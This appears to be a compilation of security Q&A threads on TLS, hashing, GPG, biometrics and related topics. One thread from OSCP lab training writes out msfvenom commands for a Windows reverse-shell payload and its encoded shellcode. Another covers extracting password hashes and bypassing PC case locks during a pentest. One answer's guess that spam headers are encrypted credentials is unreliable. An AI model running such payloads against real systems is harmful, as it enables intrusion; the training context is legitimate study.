TLS Extentions: Omitting TLS Handshake Messages I've been reading though various RFCs and couldn't find a definite answer to my question: can a negotiated TLS extension skip some of the TLS Handshake messages and still be compliant with the TLS specification? My goal is to develop a new version of TLS, while preferably, staying backwards-compatible.

Here, I will be specifically talking about TLS 1.2, defined in RFC 5246. Below is a message flow for the full handshake (taken directly from RFC 5246):

  Client                                          Server
  ------                                          ------

  ClientHello                  -------->
                                                  ServerHello
                                                 Certificate*
                                           ServerKeyExchange*
                                          CertificateRequest*
                               <--------      ServerHelloDone
  Certificate*
  ClientKeyExchange
  CertificateVerify*
  [ChangeCipherSpec]
  Finished                     -------->
                                           [ChangeCipherSpec]
                               <--------             Finished
  Application Data             <------->     Application Data

* Indicates optional or situation-dependent messages that are not always sent.

Now, I do know that it's perfect legal for a TLS extension to modify the structure of some message or add a new message, but I'm not sure if one of the messages, not defined as optional/situation-dependent can be omitted.

Let me give you a concrete example. Let's say I create a new extension called XYZ. The client and the server negotiate that extension in the their extended hello messages. Would it be legal for the XYZ extension to mandate the server not to send the ServerHelloDone message? As far as I understood, this is not legal.

RFC 5245 Section 4.4.1.4 states that:

it would be technically possible to use extensions to change major
  aspects of the design of TLS; for example the design of cipher
  suite negotiation.  This is not recommended; it would be more
  appropriate to define a new version of TLS -- particularly since
  the TLS handshake algorithms have specific protection against
  version rollback attacks based on the version number, and the
  possibility of version rollback should be a significant
  consideration in any major design change

I would assume, however, that those major aspects do no include omitting messages not marked as optional/situation-dependent in the spec.

I've sent this same question to the TLS mailing list, and got an answer that it is, in fact, legal for an extension to specify to omit messages not marked as optional/situation-dependent in the spec.

You can find the discussion here.


Is a long salt usually sufficient for security purposes, even with MD5? I always hear that MD5 is too fast for effective password crypto because you can crack up to 6 characters very quickly (or is this number higher now)?

But what if the salt you use is really long and complex? Doesn't this compensate in some way for the fast hash function?

Not at all.  The salt is expected to be known and it adds no significant complexity unless you are using a salt that is measured in megabytes.  The point is that you need to slow things down and the salt is only appended to the password.  Unless you make the input data majorly longer, it won't slow the algorithm down significantly.

Even with a super, super long salt, the way you apply it to the password would be key too in order to prevent the state of the MD5 process from being saved and minimizing the amount of effort required to perform the hash.


Protect Node.js Server Code Situation/Enviorment:
I have a project written which's core is an NodeJs Web- and API-Server. I'd like to sell it to multiple clients, they will host the server on their system.
Problem:
The NodeJs-Server runs with source-code, and is thus very vulnerable to being shared, manipulated or copied.
Goal:
Protect the source-code from any external influences, in a way of compiling, enclosing or securly encoding the source-code to enable it to be shared to multiple clients wihout the risk of it being manipulated or copied.
I've learned about a approach to this problem, the very promising enclose.js, but I'd possibly like to evaluate multiple methods to secure NodeJS source-code, suggested by security experts, and eventually find a good/best practice to deal with this.

Look, from a business standpoint, I think that if you could package it as a hosted-service, that would be a good way to avoid your code being used by unauthorised people.

There is no way to guarantee that your application isn't distributed even if you obfuscate it heavily etc to protect your I.P.

I strongly suggest selling the product with the SaaS or PaaS model where your clients use your website (a frontend) to interact with the service/product.


Are Internet speed tests an attack vector? I've been performing lots of speed tests lately due to, among some other random things, an Internet programming class and getting Google Fiber hooked up.

Then I realized that SpeedTest.net uses a Flash app; it kind of bothered me that I can't monitor the transmission contents in my browser's inspector tools like regular downloads. What is being downloaded and uploaded for such speed tests? What are the risks with speed tests? (Doesn't have to be SpeedTest.net-specific; maybe speed tests in general if they're not all so different.)

Internet speed test is not an attack vector per se.

Flash vulnerabilities might be an attack vector. If Speed test is downloading data from untrusted source - that might be attack vector as well.

XSS, SQLi, other web app vulnerabilities, that can be used on the speed test website, could also be further used to attack it's users.


Is there use for GPG/PGP for casual people who are simply concerned for their privacy? GPG seems to be something that would be important to people who communicate to a particular person and have to keep their privacy and/or security. But what if I'm just a casual user who's aware that my privacy is getting invaded, is there a use for GPG for someone like that, someone who's not being targeted for something nor is communicating with people who are willing to use GPG? Or is it just useless in that case?

nor is communicating with people who are willing to use GPG

PGP/GPG or S/MIME provide end to end encryption and tamper resistance. But to offer this it needs to be used by both ends of the communication. If the other end is unwilling to use PGP or S/MIME then no end to end encryption is possible. This is the same with HTTPS: if the web server does not offer HTTPS then it does not matter if your browser would like to encrypt the connection, it will simply not work.

GPG might still be useful as a general encryption tool for yourself, but it will not be useful to protect your communication if the other end is unwilling to communicate with you in an encrypted way.


In a "card not present" transaction, is the credit card number, expiry date & CVV considered as a "What you have" or a "What you know"? Is the credit card number, CVV & expiry date considered to be a secret? If so, then the physical credit card is incidental & the info about the card is something "you know". OTOH, if you don't think that it's a secret, then the credit card is a "what you have".

From the 3D Secure description on Wikipedia https://en.wikipedia.org/wiki/3-D_Secure

  The newest variant of 3D Secure, which incorporates one time passwords, is a form of software-based strong authentication. However, the legacy variant with static password does not meet the European Central Bank's (ECB) January 2013 requirements.

If you think a credit card is a "what you have" then a static password (what you know) is a better 2nd factor. If you think it's a "What you know", then an OTP is a better 2nd factor.

I am getting a little confused about this. Also I think there will be similar considerations for debit cards also.

A requirement for "what you have" based authentication is that ownership can be clearly assigned to a single specific entity. This specifically means that this information/device can not be (easily) cloned and that access to the information requires access to the original device.

But credit number, CVV & expiry date are static information which can be easily cloned. Once you've entered these pieces of information somewhere they are not any longer what only you have. Thus they cannot be used as "what (only) you have" authentication. One-time passwords (OTP) are different. As the name suggests these are one time and cannot be reused, so access to a specific already used OTP is of no use for the attacker. Instead one needs to have access to the device generating the OTP, i.e. "what (only) you have".

In the case of the credit card: when you pay or get money by using the Chip and Pin functionality (EMV) you use the uncloneable part of the card, i.e. the "what only you have" part. If instead you use only the old magnetic stripe or the information written on the card (number, CVV...) you deal with easily cloneable information. This means this information is "what you have and others might have too" and thus can not be used to prove ownership of the card.


Installing xampp on virtual box? I  started learning PHP and I wanted to practice PHP code using xampp or wamp server. But after reading this and doing some google research,I thought that installing server software on my home pc might be dangerous.  I thought it would be better to  install xampp server on a virtual box.Is this a good idea? Is there any security concerns should i be worried about? Is installing xampp server on a virtual machine is actually better than installing it on my home computer?

TL;DR - As long as you don't expose your XAMPP server outside your LAN, and use the practices that mentioned in the link you attached - It's pretty safe, and personally I wouldn't worry too much.

When you are installing XAMPP server, you are actually adding few attack vectors to your computer:

PHP code that maybe (hopefully all your code will be safe :) will
have some vulnerabilities
Apache Server (pretty cool and famous vulnerability for example)
MariaDB/MySQL Server (that's the PHPMyAdmin panel)

However, those attack vectors, on default, are only accessible inside your LAN, thus preventing someone to use them.

Having said that, installing it on a VM will give you somewhat more protection, since someone who will use one of the mentioned attack vectors in order to run code on your machine, will have to get another guest-to-host vulnerability (and that's not a trivial vulnerability to have).


How to intercept and analyze mobile SSL application traffic? What is the best way to analyze requests sent by a mobile application over SSL?
The communication protocol is not necessarily HTTP/S so intercepting them with BURP/ZAP/Fiddler or any other HTTP proxy will not necessarily work, but -
How do I get the traffic to even reach the proxy?

I've read some material here relating to similar subjects but I couldn't find description of a complete flow I could follow to actually perform this task.

Does the device on which the application is installed need to be rooted for me to perform this task?

If the application uses certificate pinning, is there still a way to do this?

I am specifically interested in understanding how the Whatsapp security model works - i.e. what mechanism do they have in place to prevent a malicious user to fetch the chat history of a legitimate user (seeing as there is no actual login - Is there a cookie/another mechanism sent from the device identifying the user in front of the server?)

My organization is considering implementing a messaging application that works in a similar way and we are trying to make sure that a malicious user cannot steal the identity of a legitimate user. (we are not intending to implement a login mechanism)

If your on or have access to a Mac or Linux box, a great application to intercept https traffic along with http is MITMProxy. Not only is it great for viewing the traffic as it is passed through, but you can modify it very easily. All that is needed to view https traffic is to install the provided certificates on the device you want to intercept, then change the proxy settings on your target device to your computers IP, and set the port to 8080. More info is available in their documentation.


VirtualBox: Ubuntu With or Without Virtual Hard Drive I've been working on a setup using VirtualBox that uses the Whonix Gateway as a Tor middlebox and I am planning on using Ubuntu for the workstation. I don't plan on storing any information on the Ubuntu VM since I only want to use it for secure browsing.

My question is whether or not it would be more secure to simply create the virtual machine, click "Try Ubuntu," setup the configuration I need to access the internet through the Whonix gateway, and save a snapshot of the system rather than creating a virtual hard drive and installing Ubuntu.

I feel like this method would be substantially more secure due to the fact that there is no persistence from one session to another, since I would just be reloading the snapshot whenever I want to use it. However, it would be lacking security in the sense that I would not have the option to use Ubuntu's drive encryption to protect the machine that way (as far as I know). Any advice on the subject would be appreciated

For what it's worth, the data for the virtual machines are already inside an encrypted volume on the host, so I guess that may at least help with the encryption issue mentioned above.

Why not install however you want, then mark the disk immutable, then take a snapshot?  Every time it restarts, you'll get back to the disk image as you set it up.  This way you can use FDE if you like, and still not have any persistence session to session.


Company computers for competent developers, how can you deal with them? This is a follow up on Is there a legitimate reason I should be required to use my company’s computer.  Mostly, because I see a huge issue in a couple of specific situations.

Had I been in a position of the security engineer for an organization I would definitely put a policy that only company computers shall be used.  That does make sense, and protects not only company data but the liability of employees.

Yet, there is one case in which such a policy bugs me:  A competent developer (I'm not talking about a junior developer, I'm talking about a middle to senior level developer) will potentially have on his work machine:

17 database engines;
20 docker containers;
10 test virtual machines (let's say using something like qemu).

That is a very common scenario in startups and post-startups (a startup that managed to survive several years).  Moreover, this developer will be changing his docker containers and virtual machines every week, since he will probably be testing new technology.

Requiring this developer to refer to the security engineer to install new software every time is completely impractical.  Moreover, since a company would have more than one such developer, going with the typical company managed computers for everyone involves drawbacks:

Maintaining the computers of, say, six such developers is a full time job for a competent security engineer.
The manager of those developers will be terribly angry because what his team is doing for 50% of their work-time is to wait for the security engineer.

On the other hand allowing the developers to use the machines freely is dangerous: one rogue docker container or virtual machine and you have an insider.  I would even say that these developer's computers are more dangerous than that of a common user (say, a manager with spreadsheet software).

How do you make sensible policies for competent developers?

Here are some other solutions I could think of (or saw in the past), most of which were pretty bad:

Disallow internet access from the development machines:

You need internet access to read documentation;
You need to access repositories, often found on the internet.

Give developers two computers, one for internet and one for development machines:

Complaints about lost productivity: typing Alt+2 to get the browser is faster than switching to another computer;
Repository access is cumbersome: download in one place, copy to the other.
Encourages the developer to circumvent the security and make a USB-based connection between both machines, so he can work from a single computer (saw it happening more than once).

Move development to the servers (i.e. not development on desk machines):

This is just moving the same problem deeper, now the rogue container is on the server;
Arguably worse than allowing the developer to do what he pleases on his own machine.

There must be a better way.

Separate development and production

It is usual practice to give developers local admin / root rights on their workstation. However, developers should only have access to development environments and never have access to live data. Sys-admins - who do have access to production - should have much more controlled workstations. Ideally, sys-admin workstations should have no Internet access, although that is rare in practice.

A variation I have seen is that developers have a locked-down corporate build, but can do whatever they want within virtual machines. However, this can be annoying for developers, as VMs have reduced performance, and the security benefits are not that great. So it's more common to see developers simply having full access to their own workstation.


Is it wrong to collect and store IP addresses? I am developing a PHP analytics program. I am using IP addresses to get its corresponding country. I was wondering if its OK to store both the IP address and Country or if its better if I just store the country in a MySQL database?

There should be no problems with this from a legal/personal information perspective, as if you are using IP ranges in aggregate to understand stats per country you are not storing information about an individual.

Your problem may be that you rely on the IP data to give you results - remember the IP address you see a connection coming from may have nothing to do with the individual connecting. They may be routed through intermediaries, or their ISP may be routing connections strangely, or their company may route internally to a point of presence in another company etc.


How to get an exhaustive list of ciphers for TLS 1.0, TLS 1.1 and TLS 1.2 After TLS 1.0, there have been a number of RFCs e.g RFC 5932, RFC 6430 etc. Is there any place where one can get an exhaustive list of ciphers for each of the versions. Or at least an exhaustive list of RFCs so that I can read and get the ciphers from each of them

The list of cipher suites for SSL/TLS is, by definition, open-ended, so you can never be sure that you got "all of them", especially since there are ranges of values "for private usage".

However, there is a registry for standard cipher suites, maintained by the IANA, there. It references all cipher suites which are defined in one RFC or another.


Can ISP distinguish/identify devices behind NAT? Let's say I have a PC and a smartphone, both connected to my home router.

Scenario #1. The PC and the smartphone have VPN client installed on each device. Both devices connect to the same VPN server using the same VPN protocol. The router itself is not configured to use VPN.

Scenario #2. The PC and the smartphone don't have any VPN client installed. Rather, the home router is a VPN gateway, which tunnels all traffic through the VPN.

A local passive eavesdropper (e.g., ISP), seeing outgoing and incoming traffic, tries to tell how many devices (behind the router) are currently generating traffic. Is this possible in each of the scenarioes?

If both devices have their own connection to the VPN this can probably be detected at the ISP level. While the details vary between VPN protocols it should for example be possible to detect key exchanges with multiple inside devices in case of IPSec or OpenVPN and independent TCP connections with TLS based VPN. Even if a single device has no permanent connection to the VPN endpoint (like in case of a VPN-ish thing like SOCKS) and always creates a new TCP connection it might be possible to detect different devices with some heuristics based on OS characteristics, TCP timestamps or similar.

If instead the starting point of the VPN is not each client system but only the shared router then counting how many systems are behind the router is much harder. One might try to do a flow analysis of the VPN traffic though and deduct from the behavior (timing, packet direction, packet sizes, traffic bursts...) if this looks like a single user surfing the web or if it looks more like multiple users in parallel. The more traffic is analyzed and the longer the time frame of the captured traffic is the more accurate this result will probably be.


MSFvenom doesn’t generate raw shellcode output properly I'm doing the Windows Buffer Overflow Exploitation section of the OSCP course, and the author uses a combination of msfpayload and msfencode to generate a windows/shell_reverse_tcp payload encoded with shikata ga nai. This is the command that he uses:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

The terminal displays the following encoded shellcode output:

x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf =
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"

I can then copy the generated shellcode to my Python script and continue with the exploitation process of an application.

I know that both msfpayload and msfencodeare deprecated, and MSFvenom should be used instead. This is the command that I'm using to achieve the same result as stated above.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw

This is the output that I get in the terminal:

���t$����9�X3ɱR1P ��� ���`� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�`] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�

As you can see I don’t get the actual shellcode output. What am I doing wrong? I would like to get MSFvenom to output the shellcode that I can copy to my Python script.


Do keystroke dynamics always generate one profile per person? An associate of mine has asked my help because he is being fined $1000 because a web application he uses in his line of work claims he's shared his logon credentials with someone else, violating their terms of service. He claims he's not done this.

The site claims they know there are multiple humans using his password because they use keystroke dynamics during the logon process. To quote their auditor:

  "The main factor on your account is multiple typing patterns, which indicate multiple users."

The auditor provided an audit of login events which I've reviewed.  It shows 5 unique "keystroke IDs". They only track successful logons and use of the Backspace key clears the entire password forcing re-entry from scratch. I believe they use a browser plug-in to capture the data.

What doesn't make sense is that all of the logons came from my associate's laptop from only two public IP addresses: his office and his home.  Of the 5 keystroke IDs, 4 happened at work. Interestingly, 4 of the 5 patterns were also present in logons made from his home.

I think these patterns are all being generated by my associate, but I'm not familiar with keystroke dynamics enough to explain how it could generate false-positive results.

Is it true that multiple typing patterns indicate multiple users?  If not, what could explain one person having multiple patterns?

A common theme with biometric authenticators is that they are based on bodily features or behaviors which have inherent variability.  Most authentication systems do a couple of things to reduce the rejection of valid users.

First, these systems allow a defined amount of variability when comparing biometric samples.  In other words, they acknowledge that you won't type your password exactly the same way every time (in fact some systems look at exact matches as an indicator of a replay attack).  There is usually a threshold within the system to still allow authentication if the supplied biometric sample is 'close enough'.  Make the system less forgiving and you increase your False Rejection Rate (FRR), which means legitimate users aren't authenticated.  In this case the FRR may actually indicate that the user was successfully authenticated but a new 'keystroke ID' was generated.  Make the system more forgiving and you increase your False Acceptance Rate (FAR), which means unauthorized users are more likely to be misidentified.

Sometimes this control can be adjusted by the system administrators to meet their unique deployment needs, and other times the vendor/developer hardcodes in a value that they feel works best for most users.

Second, these systems need to capture a sufficient number of samples from the authorized user in order to create an accurate biometric template.  This is more important for a biometric like keystroke dynamics where your typing will change from entry to entry.  The more samples this template is based on the better it works with the first control that compares whether new authentications are within the margin of error of the authorized user template.

What we don't know, and may not be able to find out, is how these two elements are handled by the service your friend uses.  It's possible they tuned their system to reduce the FAR so much that variations in how he types during subsequent logins are generating different 'keystroke IDs', despite it really being him.  This research paper on keystroke dynamics lists their FRR at around 5%.  In the context of this service that might mean a similar FRR would generate a different keystroke ID for your friend's valid logins in 1 out of every 20 logins.

We also don't know how many logins they used to train their system for his valid biometric template.  They may have just used his initial password entry during account setup.  Or they may have trained the system using a few dozen of his logins before looking for unauthorized use.  Clearly the second approach is the one they should have used in order to improve the quality of their biometric template.

Unless this is a new system or a shady vendor, I would assume that they'd have already fixed these problems since they would presumably affect all of their customers and cause a lot of complaints.  But it's also possible that you friend just has more variation in his password entry technique than normal users.

I agree with Johnny's answer that having different keystroke ID profiles is just one indicator that the vendor should use to determine if fraud is occurring.  Without details on their particular biometric system it is possible that he is solely responsible for all of these logins and is mistakenly being accused of violating the ToS.  He should ask them for more information beyond just the source IP and keystroke ID of the logins, or make the argument that the evidence they've supplied so far is flimsy.


Help identifying contents of strange email My wife received a weird email from an address neither of us recognizes. The structure of most of the message reminds me of JSON. What do I have here? Is is possible to decipher?

Thanks!

The message is as follows:

From: <tiennemargherioms18@yahoo.com>
Date: Jul 16, 2017 9:42 PM
Subject: ssocracy
To:
Cc:

undresses
X-vvgukall: bunoecabtev
X-sdtrlao: egvxxnvsdyuxjldspgk
X-eagwube: hhyicmg
X-vbjxoy: tdqmkeplmdjaq
X-qbudgi: rydtqkp
X-tlryf: wrgfr
X-tblpgokqc: psxikry
X-smfmbl: hugewroqwkblmppngd
X-blklrc: cbharkgcaof
X-ueoghdtbf: majvktgnnbib
X-fvudck: biyppbogprcibdpwxn
X-wpolf: hcpxtjjriexckeu
X-wpwnvdag: mosgnl
X-ncrsovgqn: ndvjskpylchdjtrq
X-xjlggyi: lppinkekm
X-fyosngkba: nwlbbepoymikjdnt
X-taenqu: brpscxrcpdbussy
X-saefla: xqujikasbtfcad
X-nlgkes: pdvehweq
X-irtqetv: cetwegjkfp
X-SHNBYV: wsgpk
X-lygpiekk: fplbavqdfpyovgnml
X-wfocyt: jbwaggbodx
X-hrgyelja: sriqmegrn
X-vldgkmde: jcvueviqx
X-vjsaxdidm: ytmypvwiqxxjlnqik
X-jakjqxst: feewg
X-QHMTJ: ysajswiklqilnp
X-HETBBHD: aqunrbyieyjw
X-aejmoltl: bbryqnesldcinjbvw
X-EHDQOJ: kfjvkwi
X-dseshdisw: spqbqoqoytlpexof
X-gfkjbgq: wsliapphuuaikwixm
X-juaqmg: apvnoflebbk
X-jobyybspc: dilci
X-rajlx: bwodoqnqkrkqbrfhlf
X-RXJNQPYLV: fpdori
X-yvmjgqhx: hskbjwrolybw
X-RJISVODSY: aarohumkjpcquhxeis
X-dpyar: jhcujit
X-mlqrlh: jmsoqseooxyprxm
X-hmryvtgtl: qxieivmswjvoviyhno
X-vhqhle: sedmh
X-jbnbh: fdvwlqkqkyvnmvymixr
X-ormair: jjfbsjuplq
X-qeblmyi: xpftoqcdrqartglka
X-gbcbrm: kiulllfj
X-kfvdowo: tymhoxiauy
X-nfdnplts: oonpgottfxewasly
X-yjaobxuv: ftlelxgchihfnotumj
X-GWPCOMYCS: cxdtls
X-glgdvv: fhojicglytigpmtf
X-sxmuh: ymlcgkiovouosw
X-jfyhwcksp: bgehccnfxf
X-bwyytkh: dvvrvatrukgxplylew
X-dxslpv: ftlqhpoesm
X-xvohiwchc: qdiqfvfalhjco
X-SROBVORYE: ysavnxgtqwgsgghqh
X-wynsmini: wjbdragpkyaam
X-axmsviyc: ymbbcufbaqo
X-xefrccyjj: pximptbtd
X-kujmvk: qnuug
X-MNLSWUIV: auxnpacurmfrujum
X-dejvsh: qnonio
X-lyunqeyf: usghsc
X-gbaurq: huuth
X-ategv: lmvfufagvl
X-rrurhdtgy: sojuqbaxtli
X-nubuupdy: yypgrguffr
X-xwlxke: kejxkhxliefqoj
X-DRRER: yofmmqb
X-rpwhnxe: pgmjuguvhrnhkoue
X-qjuahc: msykajl
X-eushunrdf: drlxddnveel
X-kdvbkeybr: aoavpjsbv

g
pastis
tes
saliv2764446

Looks like weakly encrypted username - password pairs, with passwords containing 5 to 20 characters.
Ain't nobody got time to decrypt this.

Why not asking Tienne what's up?
If you don't get a response, block him/her and move on.


SIEM and Security Analytics I've encountered the two terms 'SIEM' and 'Security Analytics' a lot in the past few weeks, unfortunately I still don't understand the difference.

According to some research I've done about these terms SIEMs aggregate data from different sources and display them in a standardized manner to security analysts who sift through the data by hand. Advanced SIEMs are using Big Data technologies to identify user behaviours which the gathered data can be compared against. The last part seems to be the same definition as for the term 'Security Analytics'.

So are Security Analytics tools advanced SIEMs or something completely different?

SIEM is a tool, an object. Analytics is an action, a verb. The tool can contain the functions for actions (like analytics). The action is not a tool.

It is reasonable that tools for analytics do not aggregate or display alerts.


GnuPG decryption not asking for passphrase I've some stuff encrypted with GnuPG using gpg -e. When I decrypt them, the system does not ask for the passphrase, it decrypts it straight away.

Does it store the secret key somewhere and uses it (I also stored my secret key in the GnuPG key chain, does it uses that)?

How can I force the system to ask the passphrase every time?

Does it store the secret key somewhere and uses it (I also stored my secret key in the GnuPG key chain, does it uses that)?

GnuPG only uses keys from your key chain, so it must be in there to use it.

  How can I force the system to ask the passphrase every time?

Old versions of GnuPG uses the gpg-agent, which caches the passphrase for a given time. Use the option --no-use-agent or add a line no-use-agent to ~/.gnupg/gpg.conf to prevent using the agent.

For newer versions (v2.1+), disable password caching for the agent by creating ~/.gnupg/gpg-agent.conf and adding the following lines:

default-cache-ttl 1
max-cache-ttl 1

Restart the agent with:

echo RELOADAGENT | gpg-connect-agent


How symmetric-key length affects TLS if the server's PK is strong Assume that Client and Server are using SSL 2.0 which supports DES ciphersuite. Also, assume that the server's RSA key is unfactorable yet. In SSL 2.0, the client chooses the master secret and encrypts it with the server's public-key. If the client and server agreed on a broken ciphersuite that uses DES. How a MITM can take advantage of the weak symmetric-key (DES)? It seems to me that MITM can't do anything unless the server's public-key gets factored. Can an expert elaborate or clarify to me?

The main weakness of DES is its short key length. This makes DES quite easy to brute force. An attacker would record the whole HTTPS session and then try each key until he has found the right one that can decode the conversation.

There are other attacks on DES which allow breaking it faster than brute force, but these need quite a lot of known or chosen plaintexts. This would not be feasible in your scenario.


MDM: Semi-Complex Password Implications What would be the security implications if an organisation decided to impliment semi-complex passwords (one letter and one letter), and not fully complex.  I'm thinking in terms of mobile devices and operating system functionality. If an organisation used semi complex passwords, would this have any adverse affects on IOS ? and windows phones??

Thanks,

Semi-complex passwords would be much less secure than complex passwords (but more secure than simple passwords).  Ideally, a password should be long, have numbers, special characters, capital letters, and lowercase letters.  Long passwords are especially to be desired because each additional letter makes the password 26 times harder to guess if only lower case characters are used.  If uppercase characters are also required, this makes it 52 times harder to guess per additional character.  If numbers are added, each character makes it 62 times harder to guess.  Special characters increases this further.

Keep in mind that a 5 character password can be easily brute forced with modern technology and is not very secure, so you will want much longer passwords.  As technology advances, even longer passwords (or other methods of security) will be required.  As for the effects on mobile phones and operating systems, it depends on their implementation if adding these requirements would cause a problem, but it shouldn't.   I have encountered websites that don't like special characters in passwords, for example, but this could be fixed by the site's implementation.

Another thing to consider is that long passwords on a phone are harder to enter, as pointed out by Bill Weiss in the comments.  For this reason, it might be good to consider alternate authentication technologies (e.g. pin / biometric / tokens) as well.  This has prompted me to ask the following question here, which may come up with better ways to authenticate than passwords: What is a good way to authenticate a user to a smart phone?

The following analysis from xkcd.com shows the value of longer vs. more complex passwords (although the example they post might be more easily cracked with a dictionary attack).


How can multiple receivers decrypt message with public key If i encrypt a message with private key put the public key on server and send message to 2 enteties, how can the second one encrypt the message when the first one has the public key ?

Public key is meant to be namely public, means it should be available to everyone. I suppose that by saying that you put it to the server you mean you make it possible to download public key from your server.
Everyone who wants to decrypt your message will download public key from your server, where you put it, and will decrypt the message.
I'd suggest you to check the what you are trying to reach by such scheme.

Confidentiality? Everyone will be able to decrypt such messages. That's why you cannot reach confidentiality by using such scheme. If you need confidentiality, i.e. if you want that nobody except the receiver is able to decrypt the message, then you can use other scheme: Use public key of receiver-1 to encrypt messages to receiver-1. Then nobody except receiver-1 will be able to decrypt them. Messages to receiver-2 encrypt with pubic key of receiver-2. I don't go on details about hybrid encryption here.
Non-repudiation? It might be used for non-repudiation, because no one could produce such encrypted messages except you, the owner of the private key. Where as the idea is basically correct, a direct implementation would be insecure. See details here: encryption+decryption vs. signing. Instead of encryption+descryption use standard algorithms for digital signature like ECDSA.


Purpose of secret-subkeys? Through output of gpg -k und gpg -K it seems that I always have (as well as create) (sub)keypairs. But, if the purpose of the pub and sub is as it is shown below and the purpose of the secretkey is mainly decryption, what's the purpose of the secret-subkeys? (I got the usage from gpg --edit-key key-id)

$ gpg --list-keys ... && gpg --list-secret-keys ...
pub   4096R/615399D8 2015-11-06 [expires: 2016-02-04] --> usage: SC
uid                  ...
sub   4096R/B30A78EB 2015-11-06 [expires: 2016-02-04] --> usage: E
sub   4096R/BBE36ACB 2015-12-13 [expires: 2016-02-04] --> usage: S
sub   4096R/B53C8F6D 2015-12-13 [expires: 2016-02-04] --> usage: A

sec   4096R/615399D8 2015-11-06 [expires: 2016-02-04]
uid                  ...
ssb   4096R/B30A78EB 2015-11-06 [expires: 2016-02-04]
ssb   4096R/BBE36ACB 2015-12-13 [expires: 2016-02-04]
ssb   4096R/B53C8F6D 2015-12-13 [expires: 2016-02-04]

For some algorithms, subkeys are a technical necessity: for example DSA (the digital signing algorithm) can only be used for signing, and requires an additional encryption subkey (for example Elgamal). This is not true for RSA, which can be used for both signature and encryption.

Distinguishing between a primary key and subkeys has another reason: It allows to keep the (private) primary key as little exposed as required, only using it for key management operations like adding and revoking subkeys and user IDs, and certifying other's keys (this is the C capability printed in the output you provided).

By using subkeys, you could even make use of an offline primary key, which means you remove the private primary key from your default keyring, and keep it safely disconnect except for the rare circumstances you actually need it. Some people have it on thumb drives, others even use an old computer dedicated for this purpose.

Even if you don't do this: using the key might make it vulnerable to certain attacks. For example, DSA is vulnerable when used to sign reusing parameters. If you used a DSA key often (for example, for signing all your mail), you're much more likely to be catched by this issue and revealing your private primary key than if you only use it rarely for key management. Your private subkey would still be revealed -- but you can easily revoke it and create a new one, without losing your reputation in the OpenPGP web of trust, like you would when revoking your primary key. Another advantage is you might use different signing subkeys on different machines (and if one machine is hacked, you don't have to change all of them). This doesn't work out that well for encryption keys, though.


Malicious capabilities of Social Botnets A fairly new concept in Malware, especially in the case of botnets, is the emergence of social botnets. These botnets are comprised of accounts (either a newly created account or an existing hijacked account) on social networking sites. Based on what I have researched, social botnets are currently active in social networking sites such as Facebook and Instagram.

Up until now the main recorded activities for social botnets has been sending spam and mass advertising a specific product. But is this all they are capable of? Based on the fact that social bots take control of an account (or create new ones) rather than taking control of an actual computer system, what are the potential malicious activities of these botnets? Can they be potentially harmful to our systems or are they limited to advertising and social engineering? If so, how effective and dangerous can they be once they have a large functioning network of bots? Can they effectively conduct social engineering on a large scale to shift public opinion?

They can be used for large-scale spamming of links that may lead to advertising (best case scenario), phishing (most likely scenario) or worse : malware, and maybe use social engineering to convince the account's "friends" (the friends of the real owner of the account) to click on them or even download and install the malware.

That malware can then be used to build a real botnet of computers.

For the public opinion, I don't see what profit the authors of the "botnet" can get out of it. Spam can generate lots of advertising revenue, but just posting messages without any links and maybe getting a hashtag in the top tweets (in case of Twitter) won't give them much revenue (no links = no ads = no revenue).

Also, sending public messages isn't a good idea in my opinion since the account owner will quickly notice it, where as spamming the user's friends/followers via direct messages only can go undetected for a very long time depending on the user's level of inexperience (or stupidity as I prefer to call it).

It's very easy to spam a bunch of predefined messages on lots of accounts at the same time, that doesn't require any human intervention, but it's much harder to have actual conversations between the compromised accounts that will make sense and not be suspicious, and that'll require human intervention, and probably a lot of humans if we're talking about even a small botnet of "only" 1000 accounts (1k won't make a difference on a social network by the way, you'll need much more than that if you want to do real "damage").

And as mentioned above, the original owners of the accounts will quickly notice these public messages posted on their behalf and that'll thwart the entire operation, it'll only result in a big panic about the social network being hacked (even though only their accounts were compromised, but a person stupid enough to click on these links doesn't even know the difference).

By the way, I get a lot of these spams by direct messages on Twitter, they are links to sites that promise to give you followers and ask you to connect your account (with full read/write access) - your account will then be used to spam the same link again and again.


How to reset the BIOS without access to the motherboard? I'm working on a pentest project (with permission of course). I'm trying to get the local hash on a computer so that I can crack it and use it as a skeleton key for other computers (all computers have the same local password).

Some things I've tried:

Noobish Sticky Keys Trick (Registry changed, no recovery menu
presented on reboot)
Reverse Meterpreter Shell with various
privilege elevation exploits (no dice)
Booting Linux, accessing
hashes through live CD, using sticky keys trick, rainbow tables, etc.

The third would be the most viable option, but the BIOS is locked/password protected. So I would just clear/reset the BIOS, but the PC case is physically locked.

How in the world can I get the hashes off of this computer? I would think that the BIOS is the weak link, but again, I can't seem to clear or reset it without the BIOS password. It's just a simple Windows 7 box, but it is proving to be quite the adversary.

Rephrasing this as a more information security question, what are some ways attackers could reset the BIOS without access to the motherboard?

Most locks ( take a picture of it and show it here or on https://reddit.com/r/lockpicking/ ) can be picked, even those annoying tubular cylinders I sometimes see on PC cases. You would only need a short and medium hook, and a tension tool (Sparrows sells one for tubular locks). Pick it by depressing pins, and pass-over all pins 3-4 times. Also google the lock, and determine if it can be bypassed with reaching tools (bent metal rods, paracord).

Do you know for a fact that you can clear the password by removing the 3V battery?  Often it is in EEPROM on modern machines, so you must then - if that's the case - access the harddrive and install/overwrite binaries.


Is using Google Authenticator to login from the same device secure? If you visit a site from your desktop, and use GA to login, you create an airgap.

But if you visit a site from your mobile, and use GA to login, in what way are you still protected from Android malware?

